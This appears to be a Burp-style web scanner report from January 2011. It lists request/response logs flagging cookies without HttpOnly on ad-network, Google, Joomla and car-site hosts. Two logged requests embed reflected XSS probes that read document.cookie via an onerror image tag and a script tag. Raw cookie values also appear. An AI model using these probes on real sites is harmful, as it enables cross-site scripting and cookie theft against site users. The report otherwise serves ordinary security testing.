HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=a7f10d14c4f00411:TM=1295973412:LM=1295973412:S=4E7KVheBazHuNfU4; expires=Thu, 24-Jan-2013 16:36:52 GMT; path=/; domain=.google.com Date: Tue, 25 Jan 2011 16:36:52 GMT Server: btfe Content-Length: 1356 X-XSS-Protection: 1; mode=block Connection: close
<html><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>404 Not Found</title> <style><!-- body {font-family: arial,sans-serif} div.nav {margin-top: 1ex} div.nav A {fon ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /kh HTTP/1.1 Host: khmdb1.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=bb0c184c4092797e:TM=1295973518:LM=1295973518:S=TQ6x1q9xqq1iW1xq; expires=Thu, 24-Jan-2013 16:38:38 GMT; path=/; domain=.google.com Date: Tue, 25 Jan 2011 16:38:38 GMT Server: btfe Content-Length: 1356 X-XSS-Protection: 1; mode=block Connection: close
<html><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>404 Not Found</title> <style><!-- body {font-family: arial,sans-serif} div.nav {margin-top: 1ex} div.nav A {fon ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /service/searchEverythingAsRss.kickAction?vars=service/searchEverything.kickAction&keywords=editorspick&includeVideo=on&includeAudio=on&includePhoto=on&includeBlog=on&includeUser=on&includeGroups=on&includeMessages=on&as=40337&quantity=25 HTTP/1.1 Host: kickapps.yuku.com Proxy-Connection: keep-alive Referer: http://serve.a-widget.com/service/getWidgetSwf.kickAction Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=2D292A4D71B9969B4DAEDD671301D676; as=40337
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:23:07 GMT Server: Apache/2.2.3 (CentOS) Set-Cookie: as=40337; Expires=Wed, 26-Jan-2011 02:23:07 GMT; Path=/ Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: max-stale=0 P3P: policyref="http://www.yuku.com/w3c/p3p.xml", CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa HISa OUR NOR IND PHY ONL UNI COM NAV INT DEM PRE LOC" Content-Type: text/xml;charset=UTF-8 Content-Length: 92452
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /km/joomla-news/63-joomlar-16-has-arrived.html HTTP/1.1 Host: km-kh.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:39:09 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: bfc3e2967dd72ed37a11f38ece00cbdc=hb6tgivnu3fs856304vak8l845; path=/ Set-Cookie: lang=deleted; expires=Sun, 24-Jan-2010 22:39:08 GMT; path=/ Set-Cookie: jfcookie=deleted; expires=Sun, 24-Jan-2010 22:39:08 GMT; path=/ Set-Cookie: jfcookie[lang]=km; expires=Tue, 25-Jan-2011 22:39:09 GMT; path=/ Last-Modified: Mon, 24 Jan 2011 22:39:11 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 43929
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- KM-KH_Dome_PRO 1.5.0 - 9c85759485d4ad60e488bd5cc6161c7b4c1dd24defa833f5d ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: kontentdesign.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:39:08 GMT Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 X-Powered-By: PHP/5.2.14 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 352408000473833862436b9fb7dcdeb1=6df78a54dbe3289d598ffc0f146b9b17; path=/ Last-Modified: Mon, 24 Jan 2011 22:39:08 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 29685
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" dir=" ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /adcedge/lb?site=695501&srvc=1&betr=autobytel_cs=1&betq=10221=416162 HTTP/1.1 Host: leadback.advertising.com Proxy-Connection: keep-alive Referer: http://www.autobytel.com/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ACID=Bc330012940999670074; F1=BQiz50kAAAAAjM7CAEAAgEABAAAABAAAAEAAgEA; BASE=YnQIr9MmSf+Tkd8dWtCeW84rjjGaJlmHvEh5gB4KT4ggqyea2eW/3YWKVm/y2YMyTPzWzWqPEc0KmqQBlyv1AitvC52k1WFp+ZY63fzJnhGhJ9szxwHZQnZLI364iQjUbvvTIm5HoBJ/dvG!; ROLL=v5Q2V0M7N+zqILE!; aceRTB=rm=Thu, 03 Feb 2011 00:12:50 GMT|am=Thu, 03 Feb 2011 00:12:50 GMT|dc=Thu, 03 Feb 2011 00:12:50 GMT|an=Sun, 20 Feb 2011 18:19:40 GMT|; C2=6bbPNJpwIg02FAHCdbdBwhgohXAcwOoAM/oBeK7YDwAoGW8r1VQcKa4qGKGBI9YBlP53FkL3Fx6gPbw6TVE0su2B/0mxdC; GUID=MTI5NTg5MDE3MDsxOjE2aWYxN2Ewa3EwYmdkOjM2NQ
Response
HTTP/1.1 200 OK Connection: close Date: Mon, 24 Jan 2011 21:06:42 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Set-Cookie: C2=inePNJpwIg02FVGCdbdRlhgohXUZwOoAM/oRTK7YDwAoGr7r1VQcKaMoGKGBI9YRaP53FkL3FG6gPbw6TVYxsu2B/0mBTea7IIaWGAH; domain=advertising.com; expires=Wed, 23-Jan-2013 21:06:42 GMT; path=/ Set-Cookie: GUID=MTI5NTkwMzIwMjsxOjE2aWYxN2Ewa3EwYmdkOjM2NQ; domain=advertising.com; expires=Wed, 23-Jan-2013 21:06:42 GMT; path=/ Set-Cookie: DBC=; domain=advertising.com; expires=Thu, 01-Jan-1970 00:00:00 GMT; path=/ Cache-Control: private, max-age=3600 Expires: Mon, 24 Jan 2011 22:06:42 GMT Content-Type: image/gif Content-Length: 49
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /load/?p=245&g=001&c=285379&ctg=Automotive&cmake=&cmodel=&new=yes&type=&ins=no HTTP/1.1 Host: loadus.exelator.com Proxy-Connection: keep-alive Referer: http://www.autobytel.com/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: xltl=eJxLtDK0qi62MrZSCvV0UbIGsoyslEwSE02STSwtzRPNU03MkiwsktMMUpItzCzSkgwtTFMNlKxrAa8pD0k%253D; myPAL=eJxLtDK2qs60MrAutjIyt1IyNDGzVLa0tDRUNjQwUTYwM1AOATJ8gSJGStaZVoYgZWYgZeamUGXmBsoGBoZAZeYGMFVGcMPgqjANqwUAip0atg%253D%253D; BFF=eJxLtDKxqi62MjSwUgoxNDDxdbC0tDRSss60MjQxN7UGShhbKfn6%252B4V4%252BETGh3kGe4YoWSdameLSYmYJ1GIKFUcSQlFrjCRhCRI3N0C31QQiDBepxW4EWC1WI2oBnuw0eQ%253D%253D; TFF=eJyNj7ENgDAMBHdhgncIsew0GYM2RQokOugQu2MoKAKIFNa7uHvps4pui5LTjuATApKIuC5mdbpNStHO82CB6w0S9wdPJ99XvLPrK49vrc2whG%252FvLmOZ81q%252Buv3bCkYC6Ge1vU%252F%252BczVVHt9am2HJaCL3AyAZcuM%253D
Response
HTTP/1.1 200 OK X-Cnection: close X-Powered-By: PHP/5.2.1 P3P: policyref=/w3c/p3p.xml, CP=NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA Content-Type: application/x-javascript Set-Cookie: xltl=eJxLtDKyqi62MrZSCvV0UbIGsoyslEwSE02STSwtzRPNU03MkiwsktMMUpItzCzSkgwtTFMNwOqslHyCnJWsM60MTSxMDSzNzKxrASUcFEk%253D; expires=Tue, 24-May-2011 21:06:41 GMT; path=/; domain=.exelator.com Set-Cookie: myPAL=eJxtzL0OwjAMRtF3iVcPtvPj2pkKLEiEAVWoK2NnRsS7k1bQic2yzncfnvy1ONWni3rgVAzMjIEpARWCqR%252BtfyTUxXllZWWav0wJiLgzpZ%252BSPbarf7HYWdpiQwYZclTDSKJ9JClv1fEw4fl6x1ub8XhpOJ7mUN8fByon7A%253D%253D; expires=Fri, 25-Mar-2011 21:06:41 GMT; path=/; domain=.exelator.com Set-Cookie: BFF=eJytkb0OwiAUhd%252BFJ%252BBXCiytOtik1ERJo5Pp6Oxo%252Bu7eUjXYXAYS1%252B8cvpbDaJm0z4dl1JLAqPS1MYYTdweulYNAWOKPfTh019vQnttA3Gg5zZ3ZGDij3jxBP12RBGbmmq4%252FKxec%252FggYmm2oeaWENktQzYGIPAGfpqBca7UK2n5AFcCRJqo4%252BQuqAI40GdxXcyRA3bvOo27gSBNVNHvELSL%252Fggl%252FkTh05kWy%252B5fPXb7uH8cs3W56Ab%252BfvsY%253D; expires=Tue, 24-May-2011 21:06:41 GMT; path=/; domain=.exelator.com Set-Cookie: TFF=eJydkDEOwzAIRe%252BSEwC2g8FLjtHVQ4ZK3dotyt1LWjWRnKRFHRDIeg%252FxXRWTTndF0g4hDtDDICLUlaqk01WxWEVO1uA19lLmHY8LHxqerELj8ar5DOsQ%252FbvHy3irj7HZnT%252FGYQqGAQB%252FpLZxz5%252BmxsbjVfMZ1hmcu5ebKKazDHnLkN983HjKKbCc%252FRZ%252BMVEkMP1jBiDm5DV5FX2GvcXkIucn21jBjA%253D%253D; expires=Tue, 24-May-2011 21:06:41 GMT; path=/; domain=.exelator.com Set-Cookie: EVX=deleted; expires=Sun, 24-Jan-2010 21:06:40 GMT; path=/; domain=load.exelator.com Set-Cookie: EVX=deleted; expires=Sun, 24-Jan-2010 21:06:40 GMT; path=/; domain=loadus.exelator.com Set-Cookie: EVX=eJxLtDKyqs60MrIwNTa3tE60MgTxDKyLrQwtrJQMTSxM483jjUxM4w0MDOOBUMm6NtPK2MDI3NyUKMW1ALLGGNA%253D; expires=Tue, 24-May-2011 21:06:41 GMT; path=/; domain=.exelator.com Date: Mon, 24 Jan 2011 21:06:41 GMT Server: HTTP server Content-Length: 975
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: magazine.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:39:48 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" X-Content-Encoded-By: C8H10N4O2 X-Powered-By: TMX-194.19 Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: e4ca47a488ed5dc0028ed0df7e92e4e0=9b4bdea32449b3b75368de62daaab55e; path=/ Last-Modified: Mon, 24 Jan 2011 22:39:49 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 81345
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > < ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /maps HTTP/1.1 Host: maps-api-ssl.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /maps HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /maps/place?hl\\x3den\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;q\\x3daub\\x26amp;fb\\x3d1\\x26amp;gl\\x3dus\\x26amp;hq\\x3daub\\x26amp;cid\\x3d7028149978956142856\\x22 HTTP/1.1 Host: maps.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /w/pg?cont_id=11&d=f&no_cj_c=0&upsid=517004695355 HTTP/1.1 Host: media.fastclick.net Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: pluto2=613465378701; zru=1|:1294800534|; lxc=AgAAAASMFi1NACAABHVydDE3IAfgBAADMwAAluAUHwEAAA==; lyc=BQAAAARmvzBNACAAARhFIASgAAaUMwAANhwpYBcBvUSgFCAABA49AAAZ4AoXQAABiw7gCS8ADSAvwAABaVrACSAAAksAAA==; pluto=613465378701
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /w/tre?ad_id=23145;evt=15951;cat1=19199;cat2=19200 HTTP/1.1 Host: media.fastclick.net Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: pluto2=613465378701; zru=1|:1294800534|; lxc=AgAAAASMFi1NACAABHVydDE3IAfgBAADMwAAluAUHwEAAA==; lyc=BQAAAAQ2HClNACAAAb1EIASgAAQOPQAAGeAKF0AAAYsO4AkvAA0gLwJJvzBgRwEYRUAlgAABlDOAB0AA4AUXAQAA; pluto=613465378701
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /w/win.bid?sid=54816&m=1&t=n&tp=5&d=f&mid=477674&EIC=1102509515205556&vch=554879014744&sys=3&evert=498003&vtid=14839&cb=1398482484&asite=2061501907&txid=9eb0b645-887a-48fe-96d9-a8ec0d65be5c&UD=CQAA7FD8nj1AEQAAAID1_gM-GQAAACBWDx8-KAAwAQ&wp=TT4pUwACvIcK5XsjKRZgBOX45riQQ1x_qFMGTg&walsh=http://adclick.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBhNNGUyk-TYf5CqP2lQeEwNnIAqmp2NwBybvEzxX5pf__EQAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi0xMTg5MzcwNDA4OTk4NTU1oAGb5-foA7IBDmpvb21sYWNvZGUub3JnugEJNzI4eDkwX2FzyAEJ2gEyaHR0cDovL2pvb21sYWNvZGUub3JnL2dmL3Byb2plY3Qvam9vbWxhL3JlcG9ydGluZy-YAgrAAgTIAr23iA7gAgDqAhdKb29tbGFfSm9vbWxhY29kZUZvb3RlcqgDAegD8gPoA6gG6AM16AO5AugD2gX1AwAAAET1AwIAAADgBAE%26num%3D1%26sig%3DAGiWqtxXfy71xAYmo2tqD6PMiVjHwATbrg%26client%3Dca-pub-1189370408998555%26adurl%3D HTTP/1.1 Host: media.fastclick.net Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: zru=1|:1294800534|; lxc=AgAAAASMFi1NACAABHVydDE3IAfgBAADMwAAluAUHwEAAA==; lyc=BQAAAARmvzBNACAAARhFIASgAAaUMwAANhwpYBcBvUSgFCAABA49AAAZ4AoXQAABiw7gCS8ADSAvwAABaVrACSAAAksAAA==; pluto=517004695355|v1
The following cookie was issued by the application and does not have the HttpOnly flag set:
s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; Expires=Sat, 23 Jan 2016 21:06:45 GMT; Domain=.autobytel.com; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/autobytelcorp/1/H.5-pdv-2/s1332017967011?[AQB]&ndh=1&t=24/0/2011%2015%3A7%3A27%201%20360&pageName=unknown&g=http%3A//www.autobytel.com/x22&r=http%3A//burp/show/31&cc=USD&server=CWEB425&events=event10&products=%3B%3B%3B%3Bevent10%3D0&c1=Search%20Engine%20Optimization%20Project&v1=Search%20Engine%20Optimization%20Project&c2=SEO%20DTS%20-%20Google%20ABTL%2013148&v2=SEO%20DTS%20-%20Google%20ABTL%2013148&v3=NT-&v6=Search%20Engine%20Optimization%20Project%20%3A%20unknown&c10=%7C&c11=Search%20Engine%20Optimization%20Project%7C13148%7CABTL&c12=%7C%7C&c14=unknown%20%3A%20Search%20Engine%20Optimization%20Project%20entry%20page&c15=%7CNo%20Article&c20=%7C%7C%7C%7C%7C%7CSearch%20Engine%20Optimization%20Project&c21=Autobytel.com&c32=ads%20-%200&c34=Google%20Search%7Ef34b4--%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document.cookie%29%3Ef067754e5c4&c40=427D360F-AD19-8945-2CEDA65620083A33&c42=UpperFunnel&s=1920x1200&c=16&j=1.3&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&[AQE] HTTP/1.1 Host: metrics.autobytel.com Proxy-Connection: keep-alive Referer: http://www.autobytel.com/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_cc=true
Response
HTTP/1.1 302 Found Date: Mon, 24 Jan 2011 21:06:45 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; Expires=Sat, 23 Jan 2016 21:06:45 GMT; Domain=.autobytel.com; Path=/ Location: http://metrics.autobytel.com/b/ss/autobytelcorp/1/H.5-pdv-2/s1332017967011?AQB=1&pccr=true&vidn=269EF4F28501182F-60000108600B027D&&ndh=1&t=24/0/2011%2015%3A7%3A27%201%20360&pageName=unknown&g=http%3A//www.autobytel.com/x22&r=http%3A//burp/show/31&cc=USD&server=CWEB425&events=event10&products=%3B%3B%3B%3Bevent10%3D0&c1=Search%20Engine%20Optimization%20Project&v1=Search%20Engine%20Optimization%20Project&c2=SEO%20DTS%20-%20Google%20ABTL%2013148&v2=SEO%20DTS%20-%20Google%20ABTL%2013148&v3=NT-&v6=Search%20Engine%20Optimization%20Project%20%3A%20unknown&c10=%7C&c11=Search%20Engine%20Optimization%20Project%7C13148%7CABTL&c12=%7C%7C&c14=unknown%20%3A%20Search%20Engine%20Optimization%20Project%20entry%20page&c15=%7CNo%20Article&c20=%7C%7C%7C%7C%7C%7CSearch%20Engine%20Optimization%20Project&c21=Autobytel.com&c32=ads%20-%200&c34=Google%20Search%7Ef34b4--%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document.cookie%29%3Ef067754e5c4&c40=427D360F-AD19-8945-2CEDA65620083A33&c42=UpperFunnel&s=1920x1200&c=16&j=1.3&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 X-C: ms-4.3.1 Expires: Sun, 23 Jan 2011 21:06:45 GMT Last-Modified: Tue, 25 Jan 2011 21:06:45 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www67 Content-Length: 0 Content-Type: text/plain
The following cookie was issued by the application and does not have the HttpOnly flag set:
s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; Expires=Sat, 23 Jan 2016 15:58:35 GMT; Domain=.traderonline.com; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/detraderonline/1/H.17/s93964351669419?AQB=1&ndh=1&t=24/0/2011%209%3A59%3A11%201%20360&ce=ISO-8859-1&ns=dominionenterprises&g=http%3A//www.traderonline.com/x22ec89d%253Cscript%253Ealert%28document.cookie%29%253C/script%253E93a08fbf703&r=http%3A//burp/show/5&cc=USD&pageType=errorPage&events=event1&c1=Information%20fourofour%20TraderOnline.com%2C%20Trader%20Magazines%2C%20and%20TraderOnline%20family%20sites.%20%u2013%20TraderOnline.com&v1=Information%20fourofour%20TraderOnline.com%2C%20Trader%20Magazines%2C%20and%20TraderOnline%20family%20sites.%20%u2013%20TraderOnline.com&c2=Data%20Not%20Available&v2=Data%20Not%20Available&c3=Data%20Not%20Available&v3=Data%20Not%20Available&c4=Data%20Not%20Available&v4=Data%20Not%20Available&c7=New&v7=New&c8=First%20Visit&v8=First%20Visit&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=950&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1 Host: metrics.traderonline.com Proxy-Connection: keep-alive Referer: http://www.traderonline.com/x22ec89d%3Cscript%3Ealert(document.cookie)%3C/script%3E93a08fbf703 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW8009oaoAAx1V; s_sess=%20s_cc%3Dtrue%3B%20s_evar2%3DData%2520Not%2520Available%3B%20s_evar3%3DData%2520Not%2520Available%3B%20s_evar4%3DData%2520Not%2520Available%3B; s_pers=%20s_nr%3D1295884751287%7C1298476751287%3B%20s_lv%3D1295884751289%7C1390492751289%3B%20s_lv_s%3DFirst%2520Visit%7C1295886551289%3B
Response
HTTP/1.1 302 Found Date: Mon, 24 Jan 2011 15:58:35 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi=[CS]v1|269ED0D58501209E-6000010F000341E3[CE]; Expires=Sat, 23 Jan 2016 15:58:35 GMT; Domain=.traderonline.com; Path=/ Location: http://metrics.traderonline.com/b/ss/detraderonline/1/H.17/s93964351669419?AQB=1&pccr=true&vidn=269ED0D58501209E-6000010F000341E3&&ndh=1&t=24/0/2011%209%3A59%3A11%201%20360&ce=ISO-8859-1&ns=dominionenterprises&g=http%3A//www.traderonline.com/x22ec89d%253Cscript%253Ealert%28document.cookie%29%253C/script%253E93a08fbf703&r=http%3A//burp/show/5&cc=USD&pageType=errorPage&events=event1&c1=Information%20fourofour%20TraderOnline.com%2C%20Trader%20Magazines%2C%20and%20TraderOnline%20family%20sites.%20%u2013%20TraderOnline.com&v1=Information%20fourofour%20TraderOnline.com%2C%20Trader%20Magazines%2C%20and%20TraderOnline%20family%20sites.%20%u2013%20TraderOnline.com&c2=Data%20Not%20Available&v2=Data%20Not%20Available&c3=Data%20Not%20Available&v3=Data%20Not%20Available&c4=Data%20Not%20Available&v4=Data%20Not%20Available&c7=New&v7=New&c8=First%20Visit&v8=First%20Visit&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=950&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 X-C: ms-4.3.1 Expires: Sun, 23 Jan 2011 15:58:35 GMT Last-Modified: Tue, 25 Jan 2011 15:58:35 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www120 Content-Length: 0 Content-Type: text/plain
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /2/B3DM/DLX/1@x96 HTTP/1.1 Host: mig.nexac.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/DLX/11596989115@x92? Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: na_tc=Y
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 01:35:47 GMT Server: Apache/2.0.52 (Red Hat) Set-Cookie: OAX=rcHW800+KPMAAfCd; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.nexac.com P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 1391 Content-Type: text/html Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09419e3f45525d5f4f58455e445a4a423660;path=/
<script> function cookie_check(ifd,ife){ var s=ife.indexOf(ifd); if(s==-1)return ""; s+=ifd.length; var e=ife.indexOf(";",s); if(e==-1)e=ife.length; return ife.substring(s,e); }
